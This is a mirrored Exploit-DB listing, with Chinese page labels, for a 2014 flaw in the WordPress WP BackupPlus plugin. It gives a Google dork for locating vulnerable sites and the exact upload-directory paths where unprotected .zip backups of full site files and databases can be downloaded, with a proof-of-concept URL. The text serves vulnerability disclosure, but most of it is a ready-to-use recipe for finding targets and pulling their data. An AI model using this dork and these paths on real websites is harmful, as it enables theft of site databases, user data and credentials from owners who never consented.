WordPress Plugin WP BackupPlus – Database and Files Backup Download

• Exploit Database
• 116 阅读

• 作者： pSyCh0_3D
  日期： 2014-07-20
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/34124/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26

  # Exploit Title: WordPress wpbackupplus Database and files Backup download (0-day) # Google Dork: Index of:"/wp-backup-plus" # Date: 19/07/2014 # Exploit Author: pSyCh0_3D (Arfaoui Moslem) https://www.facebook.com/lulz.sec # Vendor Homepage: http://wpbackupplus.com/ # Version: # Tested on: win7 32 Bit & Linux Kali   [+] Description   wpbackupplus make the backup .zip files and not protected   [+] Exploit:   For download all the website files   http://[SITE]/[PATH]/wp-content/uploads/wp-backup-plus/   For download the Database backup   http://[SITE]/[PATH]/wp-content/uploads/wp-backup-plus/temp   [+]POC :   http://[SERVER]/wp-content/uploads/wp-backup-plus/temp/